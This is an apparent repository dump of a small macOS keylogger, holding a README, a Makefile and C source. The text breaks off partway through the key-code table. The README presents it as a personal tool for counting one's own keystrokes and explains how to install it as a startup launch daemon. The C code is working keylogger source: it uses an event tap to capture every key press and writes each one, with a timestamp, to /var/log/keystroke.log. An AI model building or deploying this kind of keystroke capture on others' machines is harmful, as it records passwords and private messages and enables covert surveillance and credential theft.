├── LICENSE ├── Makefile ├── README.md ├── keylogger.c └── keylogger.plist /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2012 Shao-Chung Chen 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 8 | 9 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | cc keylogger.c -o keylogger -framework ApplicationServices 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | keylogger-osx 2 | ============= 3 | 4 | This is a very simple keylogger for self-quantifying. The source code is awfully dirty, but it works for me and that's enough. 5 | 6 | 7 | Disclaimer 8 | ---------- 9 | **Please do not ever take this project for any evil purpose.** 10 | 11 | 12 | Story 13 | ----- 14 | My friend and I were discussing about the [Carpal Tunnel Syndrome](http://en.wikipedia.org/wiki/Carpal_tunnel_syndrome). He asked how many keystrokes I perform everyday, and I totally had no idea. However, keystrokes are highly sensitive information and I don't trust those softwares in the wild. 15 | 16 | Being a programmer, simply write one by myself. That's it. 17 | 18 | 19 | Usage 20 | ----- 21 | Build the code and deploy it to `/usr/local/sbin/`. Then drop the Launchd script to `/System/Library/LaunchDaemons` to fire up this keylogger on startup. By default, the keystrokes would be logged in `/var/log/keystroke.log`. You may need root priviledge when writting to `/var/log/`. 22 | 23 | Remember to check *Enable access for assitive devices* in the *Universal Access* preferences panel. 24 | 25 | 26 | License 27 | ------- 28 | Copyright (c) 2012 Shao-Chung Chen 29 | 30 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 31 | 32 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 33 | 34 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 35 | 36 | -------------------------------------------------------------------------------- /keylogger.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include /* ApplicationServices.framework needed */ 4 | 5 | FILE *logFile = NULL; 6 | int counter = 0; 7 | 8 | char* keyCodeToReadableString (CGKeyCode); 9 | CGEventRef myCGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *); 10 | 11 | int main (int argc, const char * argv[]) { 12 | CGEventFlags oldFlags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState); 13 | 14 | CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged)); 15 | CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, myCGEventCallback, &oldFlags); 16 | 17 | if (!eventTap) { 18 | fprintf(stderr, "failed to create event tap\nyou need to enable \"Enable access for assitive devices\" in Universal Access preference panel."); 19 | exit(1); 20 | } 21 | 22 | CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0); 23 | CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); 24 | CGEventTapEnable(eventTap, true); 25 | 26 | logFile = fopen("/var/log/keystroke.log", "a"); 27 | CFRunLoopRun(); 28 | 29 | return 0; 30 | } 31 | 32 | 33 | CGEventRef myCGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { 34 | if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) { 35 | return event; 36 | } 37 | 38 | counter++; 39 | CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); 40 | 41 | if (logFile) { 42 | time_t currentTime; 43 | time(¤tTime); 44 | struct tm *time_info = localtime(¤tTime); 45 | 46 | char fmtTime[32]; 47 | strftime(fmtTime, 32, "%F %T", time_info); 48 | 49 | fprintf(logFile, "%s %s\n", fmtTime, keyCodeToReadableString(keyCode)); 50 | 51 | if (counter % 100 == 0) fflush(logFile); 52 | } 53 | return event; 54 | } 55 | 56 | 57 | char* keyCodeToReadableString (CGKeyCode keyCode) { 58 | switch ((int) keyCode) { 59 | case 0: return "a"; 60 | case 1: return "s"; 61 | case 2: return "d"; 62 | case 3: return "f"; 63 | case 4: return "h"; 64 | case 5: return "g"; 65 | case 6: return "z"; 66 | case 7: return "x"; 67 | case 8: return "c"; 68 | case 9: return "v"; 69 | case 11: return "b"; 70 | case 12: return "q"; 71 | case 13: return "w"; 72 | case 14: return "e"; 73 | case 15: return "r"; 74 | case 16: return "y"; 75 | case 17: return "t"; 76 | case 18: return "1"; 77 | case 19: return "2"; 78 | case 20: return "3"; 79 | case 21: return "4"; 80 | case 22: return "6"; 81 | case 23: return "5"; 82 | case 24: return "="; 83 | case 25: return "9"; 84 | case 26: return "7"; 85 | case 27: return "-"; 86 | case 28: return "8"; 87 | case 29: return "0"; 88 | case 30: return "]"; 89 | case 31: return "o"; 90 | case 32: return "u"; 91 | case 33: return "["; 92 | case 34: return "i"; 93 | case 35: return "p"; 94 | case 37: return "l"; 95 | case 38: return "j"; 96 | case 39: return "\""; 97 | case 40: return "k"; 98 | case 41: return ";"; 99 | case 42: return "\\"; 100 | case 43: return ","; 101 | case 44: return "/"; 102 | case 45: return "n"; 103 | case 46: return "m"; 104 | case 47: return "."; 105 | case 50: return "`"; 106 | case 65: return ""; 107 | case 67: return ""; 108 | case 69: return ""; 109 | case 71: return ""; 110 | case 75: return ""; 111 | case 76: return ""; 112 | case 78: return ""; 113 | case 81: return ""; 114 | case 82: return ""; 115 | case 83: return ""; 116 | case 84: return ""; 117 | case 85: return ""; 118 | case 86: return ""; 119 | case 87: return ""; 120 | case 88: return ""; 121 | case 89: return ""; 122 | case 91: return ""; 123 | case 92: return ""; 124 | case 36: return ""; 125 | case 48: return ""; 126 | case 49: return ""; 127 | case 51: return ""; 128 | case 53: return ""; 129 | case 55: return ""; 130 | case 56: return ""; 131 | case 57: return ""; 132 | case 58: return "